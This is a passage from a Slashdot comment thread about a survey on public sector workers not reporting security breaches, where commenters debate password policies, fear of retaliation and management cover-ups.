      Which is the unspoken problem in the earlier post - it's all well and good that you updated your documentation, and now all the servers names are ISO certified. But if you forgot to tell anyone you were doing it, and now all the tools and reports that get used to keep the business running break? Don't be surprised when people are breaking rules left, right, and centre in order to get that report on the VP's desk for 3pm.

  16. Lies, damn lies and statistics. by jklovanc · · Score: 4, Insightful

    What were the actual questions? Was it worded to elicit no's? Did the respondents understand the question?
    What was the definition of "major security breach"? Was the threshold so low that things like not changing a password every 30 days is a major security breach? Who responded to the survey? Were they people who only see low level issues?

    Surveys can be tailored to get any desired response.

  17. Even when it's your boss breaking the rules ? by Anonymous Coward · · Score: 0

    And the vast majority of security breaches fall into THAT category for someone

    1. Re:Even when it's your boss breaking the rules ? by ihtoit · · Score: 1

      Hell yes.

      --
      Political debates have me rolling my eyes so much I think I got optical whiplash. I should sue. - Foamy The Squirrel
  18. Re:you get what you deserve. by FranTaylor · · Score: 1

    don't do things that would allow it to become compromised by an attacker,

    but there really isn't much point to all of this if you can't even plug your computer into the internet at all

  19. QA by FranTaylor · · Score: 1

    This is why you have QA people, you pay them to tell you the things that everyone else is afraid to tell you. Management pays more attention when QA reports security problems, because it is their job.

    1. Re:QA by Anonymous Coward · · Score: 0

      This is why you have QA people, you pay them to tell you the things that everyone else is afraid to tell you. Management pays more attention when QA reports security problems, because it is their job.

      Yes. This is why QA is called insurance for your Ass.

  20. Re:Game the System by polyphemus · · Score: 2

    Legit. Especially given the culture of "it's only wrong if you get caught" attitude towards breaking rules that pervades so many of our high schools and trickles up into college and the work force with every graduation, and then gets reinforced with every performance evaluation or annual bonus.

  21. Insert free advert for Daisy Group .. by nickweller · · Score: 1

    Would you please mark these as content free advertisements?

  22. Private sector's no better, probably worse by __roo · · Score: 4, Insightful

    People will trade their passwords for a candy bar.

    Plus, public sector workers at least have some job security. I've worked in the private sector for 20+ years, there's a reason it's called "at-will" employment. Sticking your neck out to report a breach won't win you any friends, doesn't gain you anything, and if it get someone who's politically savvy in trouble it could blow back on you. Safer and easier to keep quiet and keep your job.

    I wish it weren't like that—and to be fair, the best teams I've worked with weren't (and aren't!) like that. But way too many offices run that way, and politics and sleaziness beats honesty and ethics nine times out of ten.

    1. Re:Private sector's no better, probably worse by MrKaos · · Score: 1

      Sticking your neck out to report a breach won't win you any friends, doesn't gain you anything, and if it get someone who's politically savvy in trouble it could blow back on you. Safer and easier to keep quiet and keep your job.

      This technique is practiced by all public servants and it is called "Tosspottery".

      --
      My ism, it's full of beliefs.
    2. Re:Private sector's no better, probably worse by StatureOfLiberty · · Score: 1

      This technique is practiced by all public servants and it is called "Tosspottery".

      all? really? (How would you even be able to pick up such a brush?)

    3. Re:Private sector's no better, probably worse by MrKaos · · Score: 1

      This technique is practiced by all public servants and it is called "Tosspottery".

      all? really? (How would you even be able to pick up such a brush?)

      Well as a practicing tosspot myself I have to maintain my tosspottery skills if I ever need them for the public service.

      Actually its my mistake, I meant to edit "all" out of that sentence. Thanks for pointing that out, it seems right that 2/3 of the public service are covering their asses from the practicing tosspots.

      --
      My ism, it's full of beliefs.
    4. Re:Private sector's no better, probably worse by david_thornley · · Score: 1

      Did they ever check to see if those were real passwords? Somebody wants my password for a candy bar I like, I'll be happy to make up a password and give it to them. It's mine if I made it up, and whether it ever has worked or ever will work on a system somewhere really isn't my concern.

      --
      "When you have eliminated the unacceptable, whatever is left, however improbable, must be the truthiness" - Holmes
  23. agreed . 18 years in infosec here by raymorris · · Score: 2

    I've been doing infosec for 18 years and fully agree. Forcing people to change passwords simply forces them to increment a number at the end or write them down. It also forces you to allow more failures in your brute force detection.

    With pass phrases, it's mostly about using LONG ones. Yeah, pass phrases, not passwords. Then make damn sure your not using des hashes or something else that truncates passwords anywhere.

  24. Security breaches in the public sector are crimes by Anonymous Coward · · Score: 0

    Or have you forgotten about FERPA, HIPAA, and the rest? No one wants to be liable for a federal crime by reporting it.

  25. when reporting one takes filling out a TPS report by Joe_Dragon · · Score: 4, Insightful

    when reporting one takes filling out a TPS report and talking to 8 different higher ups meany non tech people who wants to do it?

  26. Re:Private sector's no better, probably worse. HA! by Anonymous Coward · · Score: 0

    Bullshit.

    If you think that termination for the purposes of retribution is more likely (and more possible) in the private sector than the public sector, you're simply not dealing with reality. Of course, I've never heard of public sector employees facing termination for publicly unpalatable information disclosures (he said sarcastically).

    In the grand scheme the public sector has something that no private business has: they can survive through the use of force rather than voluntary trade. If Target has a security breach, they announce it. We can argue about the timing of when companies announce, but they do. Why? Because if the information leaks out in an uncontrolled fashion it can be a very serious threat to their existence. Customers can choose not to do business with them. They can be sued. The longer they fail to disclose, the greater those damages. And all of that rightfully so. The government? Well, if my local taxing authorities get breached what consequences do they face? Can I elect to not do business with them? Can I go through some competitive taxing authority? Can I even realistically sue them for damages? There is no practical measure by which private business can get away with mishandling a breach that isn't a thousand times less consequential for a government agency.

    I appreciate that this is a minority view here on slashdot, where the majority of those commenting and editing spend much of their day dreaming of being ass-fucked by Che, but someone has to point out the basic economics of the situation.

  27. ding ding we have a winner by Anonymous Coward · · Score: 0

    this is the same reason i never report anything (except for outright scam attempts from outside the org, like phishing).

    first of all, it basically comes down to a question of cost, training, etc, and they dont want to spend the money or time on dealing with it. If nobody brings it up, they dont have to deal with it. Therefore, bringing it up is the problem, in their eyes (i.e. the problem is not really a problem. for them).

    second of all, if you know much more about tech than everyone else, you are instantly suspect. keep your head down and it wont get chopped off.

    oh but the invisible hand of the market will make sure those dysfunctional companies fail!!!! oh... you mean like Goldman Sachs, Morgan Stanley, Merill Lynch, Bank of America? Chrysler? General Motors? Fannie Mae, Freddie Mac? When they failed? How they went out of business? Target, PF Chang, Michaels, and on and on? oh wait, they didnt. None of them did.

    1. Re:ding ding we have a winner by david_thornley · · Score: 1

      To be fair, Target took a serious hit in earnings for a security leak of unknown importance. Whether the lost earnings were proportionate to the offense, I don't know, and I also don't know what Target's culpability is (they were obviously negligent to a certain amount, but everybody is).

      --
      "When you have eliminated the unacceptable, whatever is left, however improbable, must be the truthiness" - Holmes
  28. Been there; done that. by SharpNose · · Score: 1

    in the 1990s while working in IT for a certain federal agency, I accidentally discovered that the entire C:\ drive of the PC used by a federal employee involved in negotiations over a multi-million-dollar subcontracting action had been shared out to the entire internal network where the contents could have been viewed by any of several thousand people. I wrote it up; sent it to the security folks. Their response? Crickets. Always made lots of noise about busting someone for the then-new pastime of porn surfing at work (this was back when very few people had Internet access at home) but when it came to things where actual business integrity was compromised, there was little care and little effort.

    1. Re:Been there; done that. by Anonymous Coward · · Score: 0

      Are you very sure that wasn't done deliberately?

  29. FTFY by jklovanc · · Score: 1

    Get in the way of the method people want to do their work, and users will figure out very creative ways around it.

    Some users think their way is the only and/or best way to do things. Their priorities are the most important no matter how much damage it can do to the company. Nothing else matters.

    Tell a user they can get free apps, and they'll install and use SSH and the command line...

    Not sure if you think that is funny but it is definitely untrue.

    1. Re:FTFY by Anonymous Coward · · Score: 0

      Sometimes because of political corruption software is purchased by a government department from a third party vendor...

      Sometimes a budget item needs to be made to pay a contractor to make a very tiny change to a hard coded variable that in any sane environment takes a few minutes...

      Sometimes this takes months to years...

      Sometimes the vendor is out of business...

      Sometimes you're in the middle of a temporary four year sequester that is going to be resolved by responsible leadership any day now, and you can't spend unnecessary money on this bullshit in the first place...

      The real world is more complicated than dancing pig metaphors. Security people need to understand this.

  30. In other words... by MrKaos · · Score: 1

    Morons are handling your most sensitive data.

    --
    My ism, it's full of beliefs.
  31. Why would this be surprising? by Anonymous Coward · · Score: 0

    We live in a very complex and difficult age. One where it's best not to make waves. One where not asking questions and avoid discussing things is the better long-term strategy. One where the key to a trouble-free existence is to stay under the radar. Avoid suspect at all cost, don't get singled out, don't voice dissension. Even suggesting you're "not happy" with the most trivial thing is enough to brand you as a "malcontent" and possibly "antisocial". In this world, pointing out a "security issue" (just uttering the word "security" will cause most people to gasp and shut out any further input, and flag you as "dangerous") is suicide. Stay calm. It's not your business. Feign ignorance. Think about what you could lose.

  32. There's no need to update a password frequently. by Anonymous Coward · · Score: 0

    If you've chosen a strong one, you only should change when you suspect your account or the password is compromised.

    And look what happens when you report on a security breach or other failures of a system that's politically liked. You get arrested or exiled or hounded into suicide.

    For which you'll get paid a third less than you'd get if you went and worked outside,vilified as a scrounger and have you pitiful pension paraded as why you would never work outside the shithole known as public service.

  33. Re:Game the System by mishehu · · Score: 1

    Psssh... only high school and college? How about politics and big businesses?

  34. Except you didn't, therefore by Anonymous Coward · · Score: 1

    your post only proves his point: it's a scare tactic, making you change passwords frequently or periodically. Hell, a good password when muscle memory has worked out how to type it is typed too fast for shoulder surfing to work. You'd need to take video footage and replay on slow mode.

    Muscle memory for typing, though, takes time. And changing passwords means you have no time.

    And you have to write it down or make it easy to remember (therefore easy to guess).

    1. Re:Except you didn't, therefore by Electricity+Likes+Me · · Score: 1

      Also every single place with a complicated password policy ends up with users choosing the most similar types of simple password that are allowed. They then write them down because they can't remember them. You can always tell when some jackass has got in charge of password security because a long keyphrase like "Goats jumping over the martian plains!" gets rejected, but "abc123!@#" gets accepted because it has a number in it.

    2. Re:Except you didn't, therefore by penix1 · · Score: 1

      I work in state government and not only do I have to change the password every 30 days but I can't repeat any password combination I used in the past 30 times. To make it worse, if I don't change the password within the 30 days the system locks me out requiring IT to reset it. Lastly, I am required to take security training every 6th change before the system will allow me to change it. And that training doesn't ever change the questions... I get 100% on it every time.

      It has gotten to the point of ridiculous nonsense.

      --
      This is a sig. This is only a sig. Had this been an actual sig you would have been informed where to tune for more sigs.
    3. Re:Except you didn't, therefore by Anonymous Coward · · Score: 0

      The easy fix for this is to let the system lock you out every thirty days. If everyone in the office did that they would stop that policy. Almost always the most effective way to get rid of stupid rules is to follow them to the letter.

  35. When the penalty is your job by Anonymous Coward · · Score: 0

    Why would you report?

    See also: he who complains is at fault

  36. Christina Neofotistou by Anonymous Coward · · Score: 0

    You're right!

  37. Re:Private sector's no better, probably worse. HA! by Anonymous Coward · · Score: 0

    In the grand scheme the public sector has something that no private business has: they can survive through the use of force rather than voluntary trade. Customers can choose not to do business with them. They can be sued. The longer they fail to disclose, the greater those damages. And all of that rightfully so. The government? Well, if my local taxing authorities get breached what consequences do they face? Can I elect to not do business with them? Can I go through some competitive taxing authority? Can I even realistically sue them for damages?

    You can move. If you don't want to deal with (eventual) the $15/hr minimum wage laws in LA or Seattle at the local level, or even the frankly minimal environmental protection regulation California has, you can move out of the state. You can also sue the government anytime you want, though you'll have to have money to do so, just as you would need deep pockets to sue any large company. If you don't want to live under the "terrible" despotism of the USA, you are free to find somewhere else if anyone is willing to have you. If you are young and skilled, Canada, Australia, NZ and maybe even the UK will take you in without even needing to learn a new language. If you have enough money for taxes to be a real issue, then you can buy an investor visa pretty much anywhere in the world - including the US if you are from abroad. If you are broke, Somalia has lax border control, I here it is a free market paradise over there - very little government regulation... perfect for free marketeers like yourself, whose only failing in life is being hobbled by the local government.

    As far as the rest of your shrill screed, shell companies reincorporate all the time, playing shell games with assets and liabilities and vanishing when a judgement against them is about to land. I'm pretty sure even "Detroit" is still Detroit, for a recent whipping boy. I don't recall the last time the police union had to fork over damages for the actions of its members either, for that matter - and if you look closely, you will usually see ", Inc" after whatever PD "Police Benevolent Association", much less West Texas or "Freedom Industries" type egregious misconduct that no one responsible is being executed for what amount to mass murder. At least the local police forces are forced to settle once in a while. If you have enough tape, and a pattern of abuse from prior suits on the officers involved.

  38. Re:Game the System by Dog-Cow · · Score: 1

    Why did you comment before reading the rest of the GP's comment?

  39. Upper management does not want to by Anonymous Coward · · Score: 0

    We are a public university with a very high credibility and standing. We also have been attacked several times. Our instructions as per higher management are to keep quiet of the attacks in order not to damage our reputation. The problem here has we have uncovered a lot of interesting things, and learned a lot in the process, knowledge which could be shared with others to have a common front of fight against those problems, even writing quite interesting white papers, however, alas, we have our hands tied.

  40. Test the system by Karmashock · · Score: 1

    Something the FBI does with sensitive workers with security clearance in top secret projects is that they pose as foreign agents and try to buy access to their work.

    The worker fails and is arrested if they accept the deal. It is basically entrapment but apparently it is legal. I don't especially mind either. I think entrapment is fine under a lot of circumstances.

    If you gave me a gun with blanks in it and said I could murder some random person... I wouldn't do it. But if I tried, then I probably am not someone you want on the streets.

    Anyway the FBI does like to do that and frankly this is a good way testing security. You have the FBI or whomever breach the system and then you see how the resident IT department deals with it. They cover it up then that goes into the report. If they report it that goes into the report. IF they stop it then that goes into the report. If they don't stop it then that goes into the report. If they don't even fucking notice then that goes into the report.

    And based on that you can make further recommendations.

    --
    I've decided to stop wasting my time responding to AC trolls/sockpuppets... so if you want a response from me... login.
  41. Management by Anonymous Coward · · Score: 0

    When working within a crew of political buddy fuckers, the messenger is usually made the scapegoat.

  42. Re:you get what you deserve. by Anonymous Coward · · Score: 0

    I've had computers plugged into the internet since the 90's, and no issues so far.

    What are you doing so wrong, that I am doing right?

  43. poor management by Anonymous Coward · · Score: 0

    Not surprising. I was recently laid off from a state* IT job for reporting too many bugs and security holes. You know the really funny part? I didn't report all of them. Why should I have? Nobody took it seriously.

    *Not just a government problem. Same attitude at an insurance company. Though, accidentally catching two adulterous managers in the act didn't help.

  44. poor management by Anonymous Coward · · Score: 0

    Not surprising. I was recently laid off from a state* IT job for reporting too many bugs and security holes. You know the really funny part? I didn't report all of them. Why should I have? Nobody took it seriously.

    *Not just a government problem. Same attitude at an insurance company. Though, accidentally catching two adulterous managers in the act didn't help...

  45. 2/3 of public sector workers should be fired by grahamsaa · · Score: 1

    If you're not willing to report a security breach, you don't deserve a job in the public sector, or anywhere else.

    --
    Facts have a liberal bias.
  46. The Y of It All by JimSadler · · Score: 1

    Despite civil service protections public employees are well aware that pointing out anything unpleasant or defective to the chain of command can cost you your job. They will fire you not for what you do but create situations with which what you do will be unacceptable. After all some big shot selected the security system and he has friends in high places. Rock his canoe by reporting a security issue and you are dead meat. The only protections for workers rest in strong unions and a legal system willing to punish public institutions.

    1. Re: The Y of It All by KerryHatcher · · Score: 1

      YEP! "whistle bower protection laws" are jokes. Doesn't change the fact they can make your life hell in ways that can't be articulated in court.

  47. beat that straw man, beat it hard by FranTaylor · · Score: 1

    for a hypothetical world where users adhere to anything you demand of them no matter how intrusive or onerous that is.

    maybe you can get a few of your friends to help you beat on that straw man, that's not what I said AT ALL

    1. Re:beat that straw man, beat it hard by hey! · · Score: 1

      You're the one worried about passwords that can be broken in 25 years; that's a non-issue. The issue is security that works well enough for long enough and is workable for the users. Impressive sounding, inflated requirements means something else has to give: price, performance, or usability.

      --
      Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
  48. It's all fun and games until someone steals an ID by Atrox+Canis · · Score: 1

    I work in the financial lending industry and I can promise you that if we slacked off on security and user credit info is leaked or stolen, it won't matter that the breach came by way of social engineering, brute force password attacks or swarms of pigeons waving flaming torches, everyone in the department gets sanctioned. Some will get reprimands, some will get demotions and some will get fired.

    If it comes to a choice of losing your job or inconveniencing a user with a password change every 30, 60 or 90 days, guess who has to learn a new password. And you can bet that if someone in the department notices a breach, they will report it and go on a witch hunt to find the "lazy S.O. B." that had both the responsibility and the authority to fix it.

    I read the FA and I find their conclusions don't match my experience. I know, anecdotal evidence isn't evidence but reports like this, done this way will not effect change in either a positive or negative way.

    --
    Charter Member of The Committee Group For The Elimination And Eradication Of Repetitive Redundancy
  49. Please use drones by Anonymous Coward · · Score: 0

    please use drones next time you hack the government systems so that the hack can be detected from the vibrations of the afternoon cup of quality tea with milk and lemon juice, poured at the 80 decrees of units named after a swedish astronomer and served in small, white cups with a triangle sandwich with has been at the utility storage since the tory took over the kingdom and made sure our dominatrices are properly punished since they failed to include members of the parliament as their clients to be filmed while being punished.

  50. Because stupid managers by wcrowe · · Score: 1

    A few years ago, at the company I work for, we got a spec to build an interface that would send passwords, in the open, to a vendor. Several of us warned upper management of the foolishness of this idea, but despite multiple attempts to push back on this request, management insisted that the process be written this way, so that is what was done. Perhaps 64% of employees would stay quiet about a security breach because so many managers are universally, fucking stupid, and it is always dangerous to tell the emperor that he has no clothes.

    --
    Proverbs 21:19
  51. Re:Game the System by Anonymous Coward · · Score: 0

    So once, I saw the Comp Sci department find out about pre-examination test sharing between the Chinese TAs and the Chinese students. The end result, quietly move the TAs to positions where that was less likely and make no attempt to correct the test grades.

    Even the institutions that pretend to be "achievement through effort" are willing to throw their scruples under the bus when it's time to consider that there might be a backlash.

    Personally, I would have felt much better if they simply retested the students in question, recalculated the grades, and let the chips land where they may.

  52. They Probably Don't Need To Be Online by Bing+Tsher+E · · Score: 1

    The aforementioned 2/3 of 'workers' probably don't need to be online to do their work. The simple fix is for their connection to the outside world to be snipped. Physical security measures can be used to ensure that the data is then 'protected' for the most part.

    Obviously there are other means and ways for data to be stolen and leaked out, but the first order of business needs to be:

    "You're too casual about security for any hardware you can access to be connected to the outside." Take away their connection. Several public shared kiosks can be set up in the office area they work in for essential needs.

    Sorry, Facebook. Sorry Google.

  53. Been there, told to do that. by KerryHatcher · · Score: 1

    I discovered a security breach at my old job and it took a massive amount of effort to get anyone to take action on it (ie give permission to take site offline, notify public), and the first set of instructions were to just delete all evidence which is why they had to send letter to all applicants, they had no idea whose information had been exposed. I was looked way down on for jumping rank every time I got the answer to just not worry about it. One of the major reasons I eventually left public sector... http://www.maconbibb.us/networ... http://www.13wmaz.com/story/ne...

  54. Re:Game the System by Anonymous Coward · · Score: 0

    ... did you only read the first 25/48 words in the GP's post?

  55. This happens everywhere by ErichTheRed · · Score: 1

    I work for a multinational private company and we see the same thing, not just with security breaches.

    The reality is, in most labor environments now, why would anyone make an effort to point something out that would get them marginalized or fired? This is especially true in the "outsourcing countries" -- most of the people working in these locations are extremely happy to have stable employment and will do anything they can to protect it. As a result, huge problems are hidden for as long as possible until they really can't be hidden anymore. In the US, that fear is instilled by the scarlet letter of unemployment. Even with an improving economy, I still see unemployed people who can't even get an interview because they have a gap in their employment history. Unemployment in the US equals financial ruin for most people -- your credit will be destroyed once you can't meet your obligations and unemployment insurance doesn't come close to replacing most salaries. And once your credit is messed up, most companies will pass on hiring you anyway because they have 20 people with good credit and clean background checks.

    Also, regarding public sector vs. private sector -- I know lots of people who work for our state university system. Even though these positions are technically permanent, there's nothing stopping the internal politics of the system from making your life so miserable that you might as well quit. It's very similar to the way private companies manage people out -- start enforcing rules more stringently, change work assignments to something awful, etc. The public sector just has due process with regards to getting rid of someone. Soon as someone shows up for work 3 minutes late more than X times, they have their excuse, just like a private company does. So yeah, I have no doubt that anyone with a shred of self-preservation instinct would keep their mouth shut about a security problem unless it was directly attributable to them.

  56. "Disable password protection"? by whitroth · · Score: 1

    Sorry, I've worked in a number of sectors, and these days for a US federal contractor, and unless you're talking about some upper manager, or someone in bed with same, I don't see how they'd do that. Everywhere I've worked, using, and changing passwords is enforced by the IT dept, and by software. Since everyone's networked these days, you don't get on otherwise. And the places I've worked have *forced* less than simple password.

    The next question that comes to mind is *why* they wouldn't report a breach. And what spread of organizations was this survey taken in?

                      mark

  57. and the last 3rd of us by Anonymous Coward · · Score: 0

    are still "blacklisted" because we DID report the breach, and some protected, underqualified but ethnically diverse Management tool got upset about it.

    When the guy in charge of your entire Agency's Exchange system is creating security problems by hosting gigs of improperly downloaded movies on an on-site, trusted backup mailbox server and you don't realize the stupidity comes from The Top when you report it, you get this used against you for promotions and such for a decade (and going).

    Like the Mafia, we're not supposed to talk apparently.

  58. Re:Game the System by Anonymous Coward · · Score: 0

    Agreed. Most people do not have integrity.

  59. 100% This. by DarthVain · · Score: 1

    This this this!

    I have run into this countless times.
    They basically enact some draconian security policy regardless of any other consequences. It breaks stuff all the time. The response you get back is typically, too bad, this is how things are now, deal with it, it is your problem. They are a level above all IT that make arbitrary decisions, oftentimes ridiculous ones, and even going to the highest level of IT infrastructure, they are like sorry, nothing we can do, you'll have to take it up with Security.

    Anyway as to answering the actually story about the survey, there are two points that are related.
    1) Oftentimes, due to what we both just described, staff with no resources, sometimes have to get creative as to how to get critical systems and application to continue to function within the imposed framework. An example of this might be to get around a 1h mandatory firewall timeout, developers might put in a script to automatically do a small query simply to "touch" the DB behind said firewall just so your users connections are not dropped every hour of every day. If it every blows up in someone face, security will simply say, well we implemented our security policy, they are the ones that circumvented it, thus it is all their fault we hold no responsibility. Never mind they didn't consider the function of any applications it might break or what that would do to service, data integrity, or anything else. Another sore spot is locally imposed security policy making local backup pretty much impossible at any scale, however again, should something go wrong and data be lost, we'll we're the ones responsibility for local back up. Jerks.

    2) As to why you don't say anything... Well apart from the obvious in that you really don't want to get in trouble, a lot depends on how that survey was worded. In many cases of a breach, either no one, or very few people know about it, and you want it to stay that way so as to avoid more breaches of the same. I doubt anyone really involved, wouldn't tell anyone, that is silly. However they may be very selective as to how they go about communicating the breach as they try to address it, usually as it may take a bit of time to do.

  60. Daisy group are a joke by Anonymous Coward · · Score: 0

    I complained multiple times about their users and nothing much seemed to being done. They ended up blocking my complaints. I would not trust them as far as I could spit out a rat.

  61. Re:It's all fun and games until someone steals an by david_thornley · · Score: 1

    So, if there's a leak and you find out about it, it may be in your best interests not to tell anybody?

    --
    "When you have eliminated the unacceptable, whatever is left, however improbable, must be the truthiness" - Holmes